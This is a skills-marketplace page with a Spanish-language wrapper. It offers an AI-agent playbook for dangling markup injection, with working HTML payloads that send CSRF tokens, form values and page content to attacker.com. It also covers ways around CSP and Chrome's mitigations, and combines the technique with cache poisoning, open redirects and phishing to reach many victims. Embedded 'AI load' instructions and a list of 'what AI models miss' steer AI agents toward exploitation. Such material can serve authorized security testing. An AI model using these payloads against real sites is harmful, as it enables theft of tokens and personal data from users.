dangling-markup-injection
Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.
Resumen
SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
0. RELATED ROUTING
- xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
- csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
- csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
- crlf-injection when CRLF enables HTML injection in HTTP response
- web-cache-deception when dangling markup + cache poisoning amplifies the attack
1. WHEN TO USE DANGLING MARKUP
You need dangling markup when ALL of these are true:
- You have an HTML injection point (reflected or stored)
- JavaScript execution is blocked:
- CSP blocks inline scripts and event handlers
- Sanitizer strips
<script>,onerror,onload, etc. - WAF blocks known XSS patterns
- The page contains sensitive data AFTER your injection point:
- CSRF tokens
- Pre-filled form values (email, username, API keys)
- Session identifiers in hidden fields
- Sensitive user content
Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
2. CORE TECHNIQUE
Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
Page before injection:
<div>Hello USER_INPUT</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="[email protected]">
</form>
Injected payload:
<img src="https://attacker.com/collect?
Resulting HTML:
<div>Hello <img src="https://attacker.com/collect?</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="[email protected]">
</form>
...rest of page until next matching quote (")...The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.
3. EXFILTRATION VECTORS
3.1 Image Tag (Most Common)
<img src="https://attacker.com/collect?
<img src='https://attacker.com/collect?
<img src=`https://attacker.com/collect?The browser sends a GET request to attacker.com with all consumed content as query parameters.
Blocked by: img-src CSP directive
3.2 Form Action Hijack
<form action="https://attacker.com/collect">
<button>Click to continue</button>
` consumes all content (no exfil, but hides page content)
- `<style>` unclosed treats page as CSS; combine with `@import url("https://attacker.com/?` for exfil
### 6.4 Window.name via iframe
`<iframe src="https://target.com/page" name="` — name attribute consumes content, and `window.name` persists across origins after navigation.
---
## 7. LIMITATIONS
| Limitation | Detail |
|---|---|
| Same-origin content only | Dangling markup only captures content from the same HTTP response |
| Quote matching | Consumption stops at the next matching quote character — may not reach target data |
| CSP img-src/form-action | Strict CSP can block most exfiltration vectors |
| Chrome's dangling markup mitigation | Blocks `<img src=` with `<` or newlines in URL |
| Injection point must be before target data | Can only capture content that appears after the injection in HTML source order |
| Content encoding | URL-unsafe characters in captured content may be mangled |
---
## 8. COMBINATION ATTACKS
### 8.1 Dangling Markup + Open Redirect
- Inject <img src="https://target.com/redirect?url=https://attacker.com/collect?
- Open redirect on target.com makes the request "same-origin" for some CSP checks
- Redirect sends captured data to attacker
### 8.2 Dangling Markup + Cache Poisoning
- Find reflected HTML injection point
- Inject dangling markup payload
- If response is cached, ALL users see the dangling markup
- Tokens/data from all victims exfiltrated
This turns a reflected injection into a stored/persistent attack.
### 8.3 Dangling Markup + CSRF
- Use dangling markup to steal CSRF token from page
- Use stolen token to perform CSRF attack
- Allows CSRF even when tokens are properly implemented
### 8.4 Dangling Markup + Clickjacking
- Inject
- Frame the page (if frame-ancestors allows)
- Trick user into clicking "Submit" via clickjacking overlay
- Form submits all captured page content to attacker
---
## 9. DANGLING MARKUP DECISION TREE
HTML injection exists but XSS is blocked (CSP/sanitizer/WAF)? │ ├── Identify injection context │ ├── Inside attribute value? → Break out first: "><img src="https://attacker.com/collect? │ ├── Inside tag content? → Inject directly: <img src="https://attacker.com/collect? │ └── Inside script block? → Close script first: <img src="... │ ├── What sensitive data exists AFTER injection point? │ ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack │ ├── User PII (email, name) → data theft │ ├── API keys / secrets → account compromise │ ├── No sensitive data after injection → dangling markup not useful here │ └── Check different pages — injection may be on a page with sensitive data │ ├── Choose exfiltration vector based on CSP │ ├── No CSP / lax CSP → <img src="... (simplest) │ ├── img-src restricted? │ │ ├── form-action unrestricted? → │ │ ├── base-uri unrestricted? → │ │ └── style-src unrestricted? → <link rel=stylesheet href="... │ ├── Strict CSP on all directives? │ │ ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker? │ │ ├── DNS prefetch? → │ │ └── Window.name via iframe? → <iframe name="... │ └── Nothing works? → dangling markup blocked, try other approaches │ ├── Handle Chrome's dangling markup mitigation │ ├── Target uses Chrome? → Avoid <img src= with < or newlines │ ├── Use instead (not blocked) │ ├── Use (not blocked) │ └── Test in Firefox as fallback (more permissive) │ ├── Choose quote type for maximum capture │ ├── Target data uses double quotes? → Inject with single quote: <img src='... │ ├── Target data uses single quotes? → Inject with double quote: <img src="... │ └── Mixed quotes? → Test both, see which captures more useful data │ └── Amplification ├── Response cached? → Poison cache → steal from multiple victims ├── Stored injection? → Every page view exfiltrates └── Reflected only? → Deliver via phishing link
---
## 10. TRICK NOTES — WHAT AI MODELS MISS
1. **Dangling markup is THE answer when CSP blocks scripts but HTML injection exists.** Models trained on XSS often conclude "not exploitable" when CSP is strict — dangling markup doesn't need JavaScript.
2. **Chrome's mitigation is tag-specific, not universal**: `<img src=` is mitigated, but `<form action=`, `<base href=`, `<meta http-equiv=refresh>` are NOT. Always try alternative vectors.
3. **Quote type selection is critical**: If the page uses `"` for attributes, inject with `'` (or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.
4. **Injection point placement matters enormously**: The injection must appear BEFORE the target data in the HTML source. If CSRF token is above your injection point, dangling markup cannot capture it.
5. **`<textarea>` is the most underrated vector**: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted.
6. **Window.name persists across origins**: If you can inject an iframe, the `name` attribute technique is powerful because `window.name` survives cross-origin navigation — a rare cross-origin data channel.
7. **DNS prefetch exfiltration works even under strict CSP**: `<link rel=dns-prefetch href="//stolen-data.attacker.com">` triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.
Archivos 1 archivo
Instálala a mano
Deska ejecuta esto por ti, para cada agente que elijas. Para ejecutarlo tú en una terminal:
npx skills add yaklang/hack-skills --skill dangling-markup-injectionMás de yaklang
- hackyaklangEntry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.4,000 instalaciones en skills.sh0
- android-pentesting-tricksyaklangAndroid pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.3,700 instalaciones en skills.sh0
- code-obfuscation-deobfuscationyaklangCode obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.3,700 instalaciones en skills.sh0
- sqli-sql-injectionyaklangSQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.3,700 instalaciones en skills.sh0
- api-secyaklangEntry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.3,600 instalaciones en skills.sh0